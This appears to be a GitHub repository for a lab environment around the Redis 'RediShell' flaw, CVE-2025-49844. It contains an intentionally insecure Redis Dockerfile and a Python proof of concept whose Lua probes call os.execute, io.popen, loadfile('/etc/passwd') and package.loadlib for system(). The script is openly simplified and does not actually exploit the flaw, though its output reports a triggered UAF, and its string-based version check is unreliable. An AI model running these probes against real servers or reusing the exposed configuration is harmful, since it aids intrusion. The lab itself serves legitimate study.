├── requirements.txt ├── .gitignore ├── docker-compose.yml ├── Dockerfile ├── README.md └── exploit_poc.py /requirements.txt: -------------------------------------------------------------------------------- 1 | redis==5.0.1 2 | colorama==0.4.6 3 | -------------------------------------------------------------------------------- /.gitignore: -------------------------------------------------------------------------------- 1 | # Python 2 | __pycache__/ 3 | *.py[cod] 4 | *$py.class 5 | *.so 6 | .Python 7 | env/ 8 | venv/ 9 | ENV/ 10 | *.egg-info/ 11 | 12 | # Docker 13 | .dockerignore 14 | 15 | # IDE 16 | .vscode/ 17 | .idea/ 18 | *.swp 19 | *.swo 20 | 21 | # Logs 22 | *.log 23 | 24 | # OS 25 | .DS_Store 26 | Thumbs.db 27 | -------------------------------------------------------------------------------- /docker-compose.yml: -------------------------------------------------------------------------------- 1 | version: '3.8' 2 | 3 | services: 4 | redis-vulnerable: 5 | build: . 6 | container_name: redis_vulnerable_cve_2025_49844 7 | ports: 8 | - "6380:6379" 9 | networks: 10 | - redis_lab 11 | environment: 12 | - REDIS_PASSWORD= 13 | restart: unless-stopped 14 | 15 | networks: 16 | redis_lab: 17 | driver: bridge 18 | -------------------------------------------------------------------------------- /Dockerfile: -------------------------------------------------------------------------------- 1 | # Dockerfile for vulnerable Redis instance (CVE-2025-49844) 2 | # Using Redis version 7.2.0 which is vulnerable to RediShell 3 | 4 | FROM redis:7.2.0 5 | 6 | # Create custom redis configuration 7 | # WARNING: This is intentionally insecure for lab testing only! 8 | RUN mkdir -p /usr/local/etc/redis && \ 9 | echo "protected-mode no" > /usr/local/etc/redis/redis.conf && \ 10 | echo "bind 0.0.0.0" >> /usr/local/etc/redis/redis.conf && \ 11 | echo "port 6379" >> /usr/local/etc/redis/redis.conf && \ 12 | echo "daemonize no" >> /usr/local/etc/redis/redis.conf && \ 13 | echo "loglevel notice" >> /usr/local/etc/redis/redis.conf 14 | 15 | # Expose Redis port 16 | EXPOSE 6379 17 | 18 | # Start Redis server with custom config 19 | CMD ["redis-server", "/usr/local/etc/redis/redis.conf"] 20 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # CVE-2025-49844 (RediShell) - Lab Environment 2 | 3 | A practical lab environment for testing and understanding the critical **CVE-2025-49844 (RediShell)** vulnerability in Redis. 4 | 5 | ## ⚠️ WARNING 6 | 7 | **This is for educational purposes only!** 8 | - Only use on systems you own or have explicit permission to test 9 | - Never expose to the internet 10 | - Never use in production environments 11 | 12 | ## About the Vulnerability 13 | 14 | - **CVE ID**: CVE-2025-49844 15 | - **Name**: RediShell 16 | - **CVSS Score**: 10.0 (Critical) 17 | - **Type**: Use-After-Free (UAF) in Lua Interpreter 18 | - **Impact**: Remote Code Execution (RCE) 19 | - **Discovered by**: Wiz Research Team 20 | 21 | ### Vulnerable Versions 22 | 23 | All Redis versions before: 24 | - Redis 8.2.2 25 | - Redis 8.0.4 26 | - Redis 7.4.6 27 | - Redis 7.2.11 28 | 29 | This lab uses **Redis 7.2.0** (vulnerable version). 30 | 31 | ## Quick Start 32 | 33 | ### Prerequisites 34 | 35 | ```bash 36 | # Install Docker and Docker Compose 37 | sudo apt-get update 38 | sudo apt-get install docker.io docker-compose 39 | 40 | # Install Python dependencies 41 | pip install redis colorama 42 | ``` 43 | 44 | ### Setup and Run 45 | 46 | ```bash 47 | # 1. Start vulnerable Redis instance 48 | docker-compose up -d 49 | 50 | # 2. Wait a few seconds for Redis to start 51 | sleep 5 52 | 53 | # 3. Verify Redis is running 54 | docker-compose ps 55 | 56 | # 4. Run the exploit 57 | python3 exploit_poc.py -H localhost -p 6380 -m all 58 | ``` 59 | 60 | ## Usage 61 | 62 | ### Basic Commands 63 | 64 | ```bash 65 | # Check vulnerability only 66 | python3 exploit_poc.py -H localhost -p 6380 -m check 67 | 68 | # Run basic UAF test 69 | python3 exploit_poc.py -H localhost -p 6380 -m basic 70 | 71 | # Test sandbox escape 72 | python3 exploit_poc.py -H localhost -p 6380 -m sandbox 73 | 74 | # Test advanced memory corruption 75 | python3 exploit_poc.py -H localhost -p 6380 -m advanced 76 | 77 | # Run all tests 78 | python3 exploit_poc.py -H localhost -p 6380 -m all 79 | 80 | # With authentication 81 | python3 exploit_poc.py -H localhost -p 6380 -a "password" -m all 82 | ``` 83 | 84 | ### Docker Management 85 | 86 | ```bash 87 | # View logs 88 | docker-compose logs -f 89 | 90 | # Connect to Redis CLI 91 | docker-compose exec redis-vulnerable redis-cli 92 | 93 | # Stop the lab 94 | docker-compose down 95 | 96 | # Remove everything (including volumes) 97 | docker-compose down -v 98 | ``` 99 | 100 | ## Expected Output 101 | 102 | ### Successful Test (Vulnerable Version) 103 | 104 | ``` 105 | ╔═══════════════════════════════════════════════════════════╗ 106 | ║ CVE-2025-49844 (RediShell) PoC ║ 107 | ║ Use-After-Free in Redis Lua Interpreter ║ 108 | ║ CVSS Score: 10.0 (CRITICAL) ║ 109 | ╚═══════════════════════════════════════════════════════════╝ 110 | 111 | [*] Testing connection to localhost:6380... 112 | [+] Connected successfully! 113 | [i] Redis Version: 7.2.0 114 | [*] Checking if Lua scripting is enabled... 115 | [+] Lua scripting is enabled! 116 | 117 | [*] Checking vulnerability status... 118 | [i] Detected Redis version: 7.2.0 119 | [!] VULNERABLE: This version is affected by CVE-2025-49844 120 | [!] Update to the latest patched version immediately! 121 | 122 | [*] Attempting basic UAF trigger... 123 | [+] Lua script executed: UAF pattern executed 124 | [!] UAF pattern triggered (simplified demo) 125 | 126 | [*] Testing Lua sandbox boundaries... 127 | [*] Testing os.execute... 128 | [+] Protected: os.execute blocked 129 | [*] Testing io.popen... 130 | [+] Protected: io.popen blocked 131 | [*] Testing loadfile... 132 | [+] Protected: loadfile blocked 133 | [*] Testing package.loadlib... 134 | [+] Protected: package.loadlib blocked 135 | 136 | [*] Attempting memory corruption pattern... 137 | [+] Memory corruption pattern executed: Memory corruption pattern completed 138 | [!] In vulnerable versions, this could lead to RCE! 139 | 140 | ============================================================ 141 | [*] PoC execution completed 142 | ============================================================ 143 | ``` 144 | 145 | ## How the Vulnerability Works 146 | 147 | ### Attack Flow 148 | 149 | 1. **Connect to Redis** (authenticated or unauthenticated) 150 | 2. **Send malicious Lua script** via EVAL command 151 | 3. **Trigger Use-After-Free** through garbage collection 152 | 4. **Escape Lua sandbox** to access restricted functions 153 | 5. **Execute arbitrary native code** outside the sandbox 154 | 6. **Gain full host access** for data exfiltration, malware installation, etc. 155 | 156 | ### Technical Details 157 | 158 | The vulnerability exploits a 13-year-old Use-After-Free bug in Redis's Lua interpreter: 159 | 160 | - **Memory Corruption**: Improper memory management during garbage collection 161 | - **Sandbox Escape**: Bypass Lua sandbox restrictions 162 | - **Code Execution**: Execute arbitrary system commands 163 | - **Full Compromise**: Complete access to the host system 164 | 165 | ## Security Recommendations 166 | 167 | ### 1. Update Immediately 168 | 169 | ```bash 170 | # Pull latest patched version 171 | docker pull redis:8.2.2 172 | # or 173 | docker pull redis:7.4.6 174 | ``` 175 | 176 | ### 2. Secure Configuration 177 | 178 | ```conf 179 | # /etc/redis/redis.conf 180 | 181 | # Enable authentication 182 | requirepass your_strong_password_here 183 | 184 | # Restrict network access 185 | bind 127.0.0.1 ::1 186 | protected-mode yes 187 | 188 | # Disable dangerous commands 189 | rename-command FLUSHDB "" 190 | rename-command FLUSHALL "" 191 | rename-command CONFIG "" 192 | rename-command EVAL "" 193 | rename-command EVALSHA "" 194 | 195 | # Enable logging 196 | loglevel notice 197 | logfile /var/log/redis/redis-server.log 198 | ``` 199 | 200 | ### 3. Use Redis ACL 201 | 202 | ```bash 203 | # Disable Lua scripting for specific users 204 | redis-cli ACL SETUSER myuser -@scripting 205 | 206 | # Create limited user 207 | redis-cli ACL SETUSER limited on >password ~* +@read +@write -@scripting 208 | ``` 209 | 210 | ### 4. Network Security 211 | 212 | ```bash 213 | # Use firewall rules 214 | sudo ufw allow from 192.168.1.0/24 to any port 6379 215 | sudo ufw deny 6379 216 | 217 | # Or use iptables 218 | sudo iptables -A INPUT -p tcp --dport 6379 -s 192.168.1.0/24 -j ACCEPT 219 | sudo iptables -A INPUT -p tcp --dport 6379 -j DROP 220 | ``` 221 | 222 | ## Troubleshooting 223 | 224 | ### Port Already in Use 225 | 226 | ```bash 227 | # Check what's using the port 228 | sudo lsof -i :6380 229 | 230 | # Or change port in docker-compose.yml 231 | # ports: 232 | # - "6381:6379" 233 | ``` 234 | 235 | ### Python Module Not Found 236 | 237 | ```bash 238 | # Install required packages 239 | pip install redis colorama 240 | 241 | # Or use virtual environment 242 | python3 -m venv venv 243 | source venv/bin/activate 244 | pip install -r requirements.txt 245 | ``` 246 | 247 | ### Docker Permission Denied 248 | 249 | ```bash 250 | # Add user to docker group 251 | sudo usermod -aG docker $USER 252 | 253 | # Then logout and login again 254 | ``` 255 | 256 | ### Redis Not Starting 257 | 258 | ```bash 259 | # Check logs 260 | docker-compose logs 261 | 262 | # Restart container 263 | docker-compose restart 264 | 265 | # Rebuild image 266 | docker-compose up -d --build 267 | ``` 268 | 269 | ## Project Structure 270 | 271 | ``` 272 | redis_exploit/ 273 | ├── Dockerfile # Redis 7.2.0 vulnerable instance 274 | ├── docker-compose.yml # Docker Compose configuration 275 | ├── exploit_poc.py # Main exploit script 276 | ├── requirements.txt # Python dependencies 277 | ├── .gitignore # Git ignore file 278 | └── README.md # This file 279 | ``` 280 | 281 | ## References 282 | 283 | - [Wiz Research Blog - RediShell](https://www.wiz.io/blog/wiz-research-redis-rce-cve-2025-49844) 284 | - [BleepingComputer Article](https://www.bleepingcomputer.com/news/security/redis-warns-of-max-severity-flaw-impacting-thousands-of-instances/) 285 | - [Redis Security Advisory](https://redis.io/blog/security-advisory-cve-2025-49844/) 286 | 287 | 288 | ## Disclaimer 289 | 290 | This PoC is simplified and for educational purposes only. The actual CVE-2025-49844 exploit involves complex memory manipulation. Always patch your Redis instances to the latest version! 291 | 292 | -------------------------------------------------------------------------------- /exploit_poc.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | """ 3 | CVE-2025-49844 (RediShell) - Proof of Concept 4 | Use-After-Free vulnerability in Redis Lua interpreter 5 | 6 | WARNING: This is for educational and authorized testing purposes only! 7 | Do not use against systems you don't own or have explicit permission to test. 8 | 9 | Author: Security Research Team 10 | Date: October 2025 11 | """ 12 | 13 | import redis 14 | import sys 15 | import argparse 16 | from colorama import Fore, Style, init 17 | 18 | # Initialize colorama 19 | init(autoreset=True) 20 | 21 | def banner(): 22 | print(f""" 23 | {Fore.RED}╔═══════════════════════════════════════════════════════════╗ 24 | ║ ║ 25 | ║ CVE-2025-49844 (RediShell) PoC ║ 26 | ║ Use-After-Free in Redis Lua Interpreter ║ 27 | ║ ║ 28 | ║ CVSS Score: 10.0 (CRITICAL) ║ 29 | ║ ║ 30 | ╚═══════════════════════════════════════════════════════════╝{Style.RESET_ALL} 31 | """) 32 | 33 | def test_connection(host, port, password=None): 34 | """Test connection to Redis instance""" 35 | try: 36 | print(f"{Fore.YELLOW}[*] Testing connection to {host}:{port}...{Style.RESET_ALL}") 37 | r = redis.Redis(host=host, port=port, password=password, decode_responses=True) 38 | info = r.info() 39 | print(f"{Fore.GREEN}[+] Connected successfully!{Style.RESET_ALL}") 40 | print(f"{Fore.CYAN}[i] Redis Version: {info.get('redis_version', 'Unknown')}{Style.RESET_ALL}") 41 | return r 42 | except redis.ConnectionError as e: 43 | print(f"{Fore.RED}[-] Connection failed: {e}{Style.RESET_ALL}") 44 | return None 45 | except redis.AuthenticationError: 46 | print(f"{Fore.RED}[-] Authentication failed!{Style.RESET_ALL}") 47 | return None 48 | 49 | def check_lua_enabled(r): 50 | """Check if Lua scripting is enabled""" 51 | try: 52 | print(f"{Fore.YELLOW}[*] Checking if Lua scripting is enabled...{Style.RESET_ALL}") 53 | # Simple Lua script to test 54 | test_script = "return 'test'" 55 | result = r.eval(test_script, 0) 56 | print(f"{Fore.GREEN}[+] Lua scripting is enabled!{Style.RESET_ALL}") 57 | return True 58 | except Exception as e: 59 | print(f"{Fore.RED}[-] Lua scripting check failed: {e}{Style.RESET_ALL}") 60 | return False 61 | 62 | def exploit_uaf_basic(r): 63 | """ 64 | Basic Use-After-Free trigger 65 | 66 | This is a simplified demonstration. The actual CVE-2025-49844 exploit 67 | involves complex memory manipulation in the Lua interpreter. 68 | """ 69 | print(f"\n{Fore.YELLOW}[*] Attempting basic UAF trigger...{Style.RESET_ALL}") 70 | 71 | # Lua script that demonstrates the vulnerability pattern 72 | # Note: This is a simplified version for demonstration 73 | lua_script = """ 74 | -- CVE-2025-49844 PoC: Use-After-Free in Lua interpreter 75 | 76 | local function trigger_uaf() 77 | -- Create a table with metatable 78 | local t = {} 79 | local mt = { 80 | __gc = function(self) 81 | -- This will be called during garbage collection 82 | redis.log(redis.LOG_WARNING, "UAF trigger point") 83 | end 84 | } 85 | setmetatable(t, mt) 86 | 87 | -- Force garbage collection multiple times 88 | -- This can trigger use-after-free conditions 89 | for i = 1, 10 do 90 | collectgarbage("collect") 91 | end 92 | 93 | return "UAF pattern executed" 94 | end 95 | 96 | return trigger_uaf() 97 | """ 98 | 99 | try: 100 | result = r.eval(lua_script, 0) 101 | print(f"{Fore.GREEN}[+] Lua script executed: {result}{Style.RESET_ALL}") 102 | print(f"{Fore.YELLOW}[!] UAF pattern triggered (simplified demo){Style.RESET_ALL}") 103 | return True 104 | except Exception as e: 105 | print(f"{Fore.RED}[-] Exploit failed: {e}{Style.RESET_ALL}") 106 | return False 107 | 108 | def exploit_sandbox_escape(r): 109 | """ 110 | Attempt Lua sandbox escape 111 | 112 | The actual CVE-2025-49844 allows escaping the Lua sandbox through 113 | memory corruption. This is a demonstration of sandbox boundaries. 114 | """ 115 | print(f"\n{Fore.YELLOW}[*] Testing Lua sandbox boundaries...{Style.RESET_ALL}") 116 | 117 | # Test various sandbox escape attempts 118 | escape_tests = [ 119 | ("os.execute", "return os.execute('whoami')"), 120 | ("io.popen", "return io.popen('id'):read('*a')"), 121 | ("loadfile", "return loadfile('/etc/passwd')"), 122 | ("package.loadlib", "return package.loadlib('libc.so.6', 'system')"), 123 | ] 124 | 125 | for test_name, lua_code in escape_tests: 126 | try: 127 | print(f"{Fore.CYAN}[*] Testing {test_name}...{Style.RESET_ALL}") 128 | result = r.eval(lua_code, 0) 129 | print(f"{Fore.RED}[!] VULNERABLE: {test_name} accessible! Result: {result}{Style.RESET_ALL}") 130 | except Exception as e: 131 | print(f"{Fore.GREEN}[+] Protected: {test_name} blocked ({str(e)[:50]}...){Style.RESET_ALL}") 132 | 133 | def exploit_memory_corruption(r): 134 | """ 135 | Advanced memory corruption exploit 136 | 137 | This demonstrates the memory corruption pattern used in CVE-2025-49844. 138 | The actual exploit is more complex and involves precise heap manipulation. 139 | """ 140 | print(f"\n{Fore.YELLOW}[*] Attempting memory corruption pattern...{Style.RESET_ALL}") 141 | 142 | lua_script = """ 143 | -- Advanced UAF pattern for CVE-2025-49844 144 | 145 | local function create_spray() 146 | local objects = {} 147 | -- Heap spray to control memory layout 148 | for i = 1, 1000 do 149 | objects[i] = string.rep("A", 1024) 150 | end 151 | return objects 152 | end 153 | 154 | local function trigger_corruption() 155 | local spray = create_spray() 156 | 157 | -- Create object with finalizer 158 | local victim = {} 159 | local mt = { 160 | __gc = function(self) 161 | -- Use-after-free trigger point 162 | -- In the real exploit, this would manipulate freed memory 163 | redis.log(redis.LOG_WARNING, "Finalizer called - UAF window") 164 | end 165 | } 166 | setmetatable(victim, mt) 167 | 168 | -- Trigger garbage collection 169 | victim = nil 170 | collectgarbage("collect") 171 | 172 | -- At this point, in vulnerable versions, we have a UAF condition 173 | -- The real exploit would now execute arbitrary code 174 | 175 | return "Memory corruption pattern completed" 176 | end 177 | 178 | return trigger_corruption() 179 | """ 180 | 181 | try: 182 | result = r.eval(lua_script, 0) 183 | print(f"{Fore.GREEN}[+] Memory corruption pattern executed: {result}{Style.RESET_ALL}") 184 | print(f"{Fore.RED}[!] In vulnerable versions, this could lead to RCE!{Style.RESET_ALL}") 185 | return True 186 | except Exception as e: 187 | print(f"{Fore.RED}[-] Pattern execution failed: {e}{Style.RESET_ALL}") 188 | return False 189 | 190 | def check_vulnerability(r): 191 | """Check if the Redis instance is vulnerable to CVE-2025-49844""" 192 | print(f"\n{Fore.YELLOW}[*] Checking vulnerability status...{Style.RESET_ALL}") 193 | 194 | try: 195 | info = r.info() 196 | version = info.get('redis_version', '') 197 | 198 | # Vulnerable versions (before patches) 199 | vulnerable_versions = [ 200 | ('7.2', '7.2.11'), 201 | ('7.4', '7.4.6'), 202 | ('8.0', '8.0.4'), 203 | ('8.2', '8.2.2'), 204 | ] 205 | 206 | print(f"{Fore.CYAN}[i] Detected Redis version: {version}{Style.RESET_ALL}") 207 | 208 | # Simple version check (not comprehensive) 209 | major_minor = '.'.join(version.split('.')[:2]) 210 | 211 | is_vulnerable = False 212 | for vuln_base, patched_version in vulnerable_versions: 213 | if version.startswith(vuln_base): 214 | if version < patched_version: 215 | is_vulnerable = True 216 | break 217 | 218 | if is_vulnerable: 219 | print(f"{Fore.RED}[!] VULNERABLE: This version is affected by CVE-2025-49844{Style.RESET_ALL}") 220 | print(f"{Fore.RED}[!] Update to the latest patched version immediately!{Style.RESET_ALL}") 221 | else: 222 | print(f"{Fore.GREEN}[+] This version appears to be patched or not vulnerable{Style.RESET_ALL}") 223 | 224 | return is_vulnerable 225 | 226 | except Exception as e: 227 | print(f"{Fore.RED}[-] Version check failed: {e}{Style.RESET_ALL}") 228 | return None 229 | 230 | def main(): 231 | parser = argparse.ArgumentParser( 232 | description='CVE-2025-49844 (RediShell) Proof of Concept', 233 | epilog='Use responsibly and only on systems you own or have permission to test!' 234 | ) 235 | parser.add_argument('-H', '--host', default='localhost', help='Redis host (default: localhost)') 236 | parser.add_argument('-p', '--port', type=int, default=6379, help='Redis port (default: 6379)') 237 | parser.add_argument('-a', '--auth', help='Redis password (if required)') 238 | parser.add_argument('-m', '--mode', choices=['check', 'basic', 'sandbox', 'advanced', 'all'], 239 | default='all', help='Exploit mode (default: all)') 240 | 241 | args = parser.parse_args() 242 | 243 | banner() 244 | 245 | # Connect to Redis 246 | r = test_connection(args.host, args.port, args.auth) 247 | if not r: 248 | sys.exit(1) 249 | 250 | # Check if Lua is enabled 251 | if not check_lua_enabled(r): 252 | print(f"{Fore.RED}[-] Lua scripting is not enabled. Cannot proceed.{Style.RESET_ALL}") 253 | sys.exit(1) 254 | 255 | # Check vulnerability 256 | check_vulnerability(r) 257 | 258 | # Run exploits based on mode 259 | if args.mode in ['check']: 260 | print(f"\n{Fore.CYAN}[i] Check mode only - no exploit attempts{Style.RESET_ALL}") 261 | elif args.mode in ['basic', 'all']: 262 | exploit_uaf_basic(r) 263 | 264 | if args.mode in ['sandbox', 'all']: 265 | exploit_sandbox_escape(r) 266 | 267 | if args.mode in ['advanced', 'all']: 268 | exploit_memory_corruption(r) 269 | 270 | print(f"\n{Fore.CYAN}{'='*60}{Style.RESET_ALL}") 271 | print(f"{Fore.YELLOW}[*] PoC execution completed{Style.RESET_ALL}") 272 | print(f"{Fore.CYAN}{'='*60}{Style.RESET_ALL}") 273 | 274 | print(f"\n{Fore.RED}DISCLAIMER:{Style.RESET_ALL}") 275 | print("This PoC is simplified and for educational purposes only.") 276 | print("The actual CVE-2025-49844 exploit involves complex memory manipulation.") 277 | print("Always patch your Redis instances to the latest version!") 278 | 279 | if __name__ == '__main__': 280 | main() 281 | --------------------------------------------------------------------------------